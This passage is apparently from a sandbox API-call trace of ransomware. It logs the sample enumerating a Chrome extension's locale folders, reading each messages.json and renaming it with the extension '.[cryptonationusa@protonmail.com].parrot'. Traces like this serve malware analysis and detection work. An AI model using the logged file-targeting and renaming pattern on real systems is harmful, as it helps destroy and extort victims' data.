Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\it\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\it\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\it\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\it\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0070.705] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5da218 | out: hHeap=0x5b0000) returned 1 [0070.705] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x67c7c8 | out: hHeap=0x5b0000) returned 1 [0070.705] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5da060 | out: hHeap=0x5b0000) returned 1 [0070.706] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\it\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0070.706] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8417feb0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb7a087c0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb7a087c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.706] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x841825c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841825c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb7a087c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0070.706] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ja\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0070.707] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0070.707] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841873e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84189af0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x84189af0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.707] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0070.707] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0070.707] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x84189af0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84189af0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b43b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xf5, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0070.709] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x20d, nNumberOfBytesToLockHigh=0x0) returned 1 [0070.709] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0070.709] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0070.710] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.710] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xf5, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xf5, lpOverlapped=0x0) returned 1 [0070.710] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.711] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x20d, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0070.711] CloseHandle (hObject=0x28c) returned 1 [0070.711] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ja\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ja\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ja\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ja\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0070.714] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5da258 | out: hHeap=0x5b0000) returned 1 [0070.714] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x67c950 | out: hHeap=0x5b0000) returned 1 [0070.714] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5da060 | out: hHeap=0x5b0000) returned 1 [0070.715] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ja\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0070.716] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841873e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb7a087c0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb7a087c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.716] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x84189af0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84189af0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb7a087c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x218, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0070.716] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ko\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0070.716] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0070.716] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8418e910, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84191020, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x84191020, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.716] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0070.716] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0070.716] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x84191020, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84191020, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b6ac0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xe0, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0070.716] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1f8, nNumberOfBytesToLockHigh=0x0) returned 1 [0070.716] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0070.716] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0070.717] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.717] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xe0, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xe0, lpOverlapped=0x0) returned 1 [0070.718] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.718] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1f8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0070.718] CloseHandle (hObject=0x28c) returned 1 [0070.718] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ko\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ko\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ko\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ko\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0070.719] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5da238 | out: hHeap=0x5b0000) returned 1 [0070.719] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x67cad8 | out: hHeap=0x5b0000) returned 1 [0070.719] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5da060 | out: hHeap=0x5b0000) returned 1 [0070.720] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ko\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0070.720] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8418e910, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb7a2e920, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb7a2e920, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.720] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x84191020, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84191020, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb7a2e920, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x208, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0070.720] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lt\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0070.720] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0070.721] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84195e40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84198550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x84198550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.721] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0070.721] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0070.721] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x84198550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8419d370, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b6ac0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xeb, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0070.723] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x203, nNumberOfBytesToLockHigh=0x0) returned 1 [0070.724] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0070.724] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0070.724] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.725] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xeb, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xeb, lpOverlapped=0x0) returned 1 [0070.725] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.725] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x203, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0070.725] CloseHandle (hObject=0x28c) returned 1 [0070.725] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lt\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lt\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lt\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lt\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0070.726] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5da238 | out: hHeap=0x5b0000) returned 1 [0070.726] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x67cc60 | out: hHeap=0x5b0000) returned 1 [0070.726] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5da060 | out: hHeap=0x5b0000) returned 1 [0070.727] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lt\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0070.727] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84195e40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb7a2e920, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb7a2e920, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.727] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x84198550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8419d370, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb7a2e920, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x208, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0070.727] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lv\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0070.728] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0070.728] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8419fa80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841a2190, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x841a2190, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.728] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0070.728] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0070.728] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x841a2190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841a48a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b6ac0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xe5, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0070.728] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1fd, nNumberOfBytesToLockHigh=0x0) returned 1 [0070.728] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0070.728] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0070.729] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.729] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xe5, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xe5, lpOverlapped=0x0) returned 1 [0070.729] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.729] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1fd, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0070.729] CloseHandle (hObject=0x28c) returned 1 [0070.730] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lv\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lv\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lv\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lv\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0070.730] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5da238 | out: hHeap=0x5b0000) returned 1 [0070.730] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x67cde8 | out: hHeap=0x5b0000) returned 1 [0070.730] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5da060 | out: hHeap=0x5b0000) returned 1 [0070.732] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lv\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0070.732] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8419fa80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb7a2e920, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb7a2e920, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.732] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x841a2190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841a48a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb7a2e920, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x208, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0070.732] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ms\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, 